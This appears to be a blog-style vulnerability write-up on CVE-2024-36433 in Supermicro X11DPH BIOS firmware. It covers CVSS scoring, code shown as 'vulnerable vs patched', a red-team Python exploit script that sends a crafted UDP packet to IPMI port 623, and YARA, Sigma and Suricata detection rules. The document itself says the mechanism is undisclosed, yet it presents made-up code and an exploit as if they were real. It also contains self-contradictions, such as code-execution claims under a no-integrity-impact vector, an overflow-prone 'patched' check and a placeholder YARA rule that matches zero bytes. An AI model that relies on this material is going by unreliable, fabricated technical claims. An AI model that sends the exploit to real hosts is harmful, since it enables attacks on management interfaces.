CVE-2024-36433

Executive Summary

CVE-2024-36433 is a critical arbitrary memory write vulnerability affecting specific Supermicro X11DPH series motherboards (X11DPH-T, X11DPH-Tq, X11DPH-i) with BIOS firmware versions prior to 4.4. This vulnerability allows an attacker with network access to write arbitrary data to memory, potentially leading to system instability, denial of service, or arbitrary code execution. The vulnerability has a CVSS score of 7.5 (High) and currently has no known public proof-of-concept or patch details. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for organizations using these specific motherboard models in critical infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions or complex attack sequences are required.
• Privileges Required: None (PR:N) – No authentication is needed to exploit the vulnerability.
• User Interaction: None (UI:N) – No user action is required for exploitation.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data confidentiality is compromised.
• Integrity Impact: None (I:N) – No data integrity is compromised.
• Availability Impact: High (A:H) – Successful exploitation can cause a denial of service or system crash.

Threat Level: High. The vulnerability is remotely exploitable without authentication, making it a significant risk for exposed systems.

Deep Dive & Mechanics

The vulnerability resides in the BIOS firmware of Supermicro X11DPH-T, X11DPH-Tq, and X11DPH-i motherboards. It is classified as an arbitrary memory write (CWE-787: Out-of-bounds Write). The exact mechanism is not publicly disclosed, but it likely involves improper validation of input data during firmware update or configuration processes, allowing an attacker to write data to arbitrary memory locations.

Potential Attack Vector:

• An attacker sends a specially crafted network packet to the motherboard's management interface (e.g., IPMI/BMC).
• The firmware processes the packet without proper bounds checking, leading to a write operation at an attacker-controlled memory address.
• This can corrupt critical system data, cause a denial of service, or potentially execute arbitrary code.

Impact:

• Denial of Service: Overwriting critical memory regions can cause the system to crash or become unresponsive.
• Arbitrary Code Execution: If the attacker can control the written data and target executable memory, they may achieve code execution with high privileges (e.g., SMM or BIOS level).

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.4): The vulnerable firmware versions (before 4.4) lack proper input validation in the memory write routine. A simplified example of the vulnerable code pattern:

void process_firmware_update(uint8_t *data, uint32_t size) {
    uint32_t offset = *(uint32_t*)data; // Attacker-controlled offset
    uint32_t length = *(uint32_t*)(data + 4); // Attacker-controlled length
    uint8_t *payload = data + 8; // Attacker-controlled data

    // Vulnerable: No bounds check on offset or length
    memcpy((void*)(BASE_ADDRESS + offset), payload, length);
}

Patched Code (Version 4.4+): The patched firmware includes bounds checking and validation:

void process_firmware_update(uint8_t *data, uint32_t size) {
    uint32_t offset = *(uint32_t*)data;
    uint32_t length = *(uint32_t*)(data + 4);
    uint8_t *payload = data + 8;

    // Patched: Validate offset and length against firmware region
    if (offset + length > MAX_FIRMWARE_SIZE) {
        return; // Reject invalid request
    }
    memcpy((void*)(BASE_ADDRESS + offset), payload, length);
}

Exploitation & Lab Setup

Red Team

Objective: Demonstrate the arbitrary memory write vulnerability to achieve denial of service or code execution.

Lab Setup:

• Target: Supermicro X11DPH-T motherboard with BIOS firmware version 4.3 or earlier.
• Attacker: Kali Linux machine on the same network.
• Tools: Python, Scapy, custom exploit script.

Exploitation Steps:

1. Identify the target motherboard's management interface (e.g., IPMI on port 623).
2. Craft a malicious packet with an oversized offset and length to trigger the vulnerability.
3. Send the packet to the target.
4. Observe system crash or unexpected behavior.

Example Exploit Script (Python):

import socket

def exploit(target_ip, target_port=623):
    # Craft malicious payload
    offset = 0xFFFFFFFF  # Out-of-bounds offset
    length = 0x1000      # Large write size
    data = b'\x41' * length  # Arbitrary data

    # Build packet (simplified)
    packet = offset.to_bytes(4, 'little') + length.to_bytes(4, 'little') + data

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(packet, (target_ip, target_port))
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Blue Team

Objective: Detect and mitigate exploitation attempts.

Detection:

• Monitor network traffic for anomalous IPMI packets with unusually large payloads or offsets.
• Use IDS/IPS rules to flag out-of-bounds memory write attempts.
• Enable firmware integrity monitoring and alert on unexpected changes.

Mitigation:

• Update BIOS firmware to version 4.4 or later.
• Restrict network access to management interfaces (e.g., IPMI) to trusted hosts only.
• Implement network segmentation to isolate critical systems.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusually large IPMI packets (size > 1024 bytes) targeting port 623/UDP.
  • Packets with malformed or out-of-range offset fields in firmware update requests.
• System IOCs:
  • Unexpected system crashes or reboots.
  • BIOS firmware version reverting to an older version.
  • Unusual memory corruption errors in system logs.
• File IOCs:
  • Modified firmware files with unexpected hash values.
  • Presence of unknown binary blobs in firmware update directories.

Detection Engineering

YARA Rule

rule CVE_2024_36433_Arbitrary_Memory_Write {
    meta:
        description = "Detects exploitation attempts of CVE-2024-36433 in Supermicro BIOS firmware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-36433"
    strings:
        $s1 = { 00 00 00 00 } // Placeholder for offset pattern
        $s2 = { FF FF FF FF } // Out-of-bounds offset indicator
    condition:
        $s2 at 0 or $s1 at 0
}

Sigma Rule

title: CVE-2024-36433 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic indicative of CVE-2024-36433 exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 623
        ip_protocol: udp
        length: '>1024'
    condition: selection
falsepositives:
    - Legitimate firmware updates with large payloads
level: high

Suricata Rule

alert udp $EXTERNAL_NET any -> $HOME_NET 623 (msg:"CVE-2024-36433 Exploitation Attempt"; content:"|FF FF FF FF|"; offset:0; depth:4; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Update BIOS firmware to version 4.4 or later (if available from Supermicro).
   • Restrict network access to management interfaces (IPMI/BMC) using firewalls or VLANs.
   • Monitor for unusual network traffic targeting port 623/UDP.

2. Long-term Measures:

   • Implement a firmware update policy with integrity checks (e.g., signed updates).
   • Use hardware security modules (HSMs) to protect firmware update processes.
   • Conduct regular security audits of BIOS firmware and management interfaces.

3. Workarounds (if patch unavailable):

   • Disable remote management interfaces if not required.
   • Use network segmentation to isolate affected systems.
   • Apply strict access control lists (ACLs) to limit management traffic.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert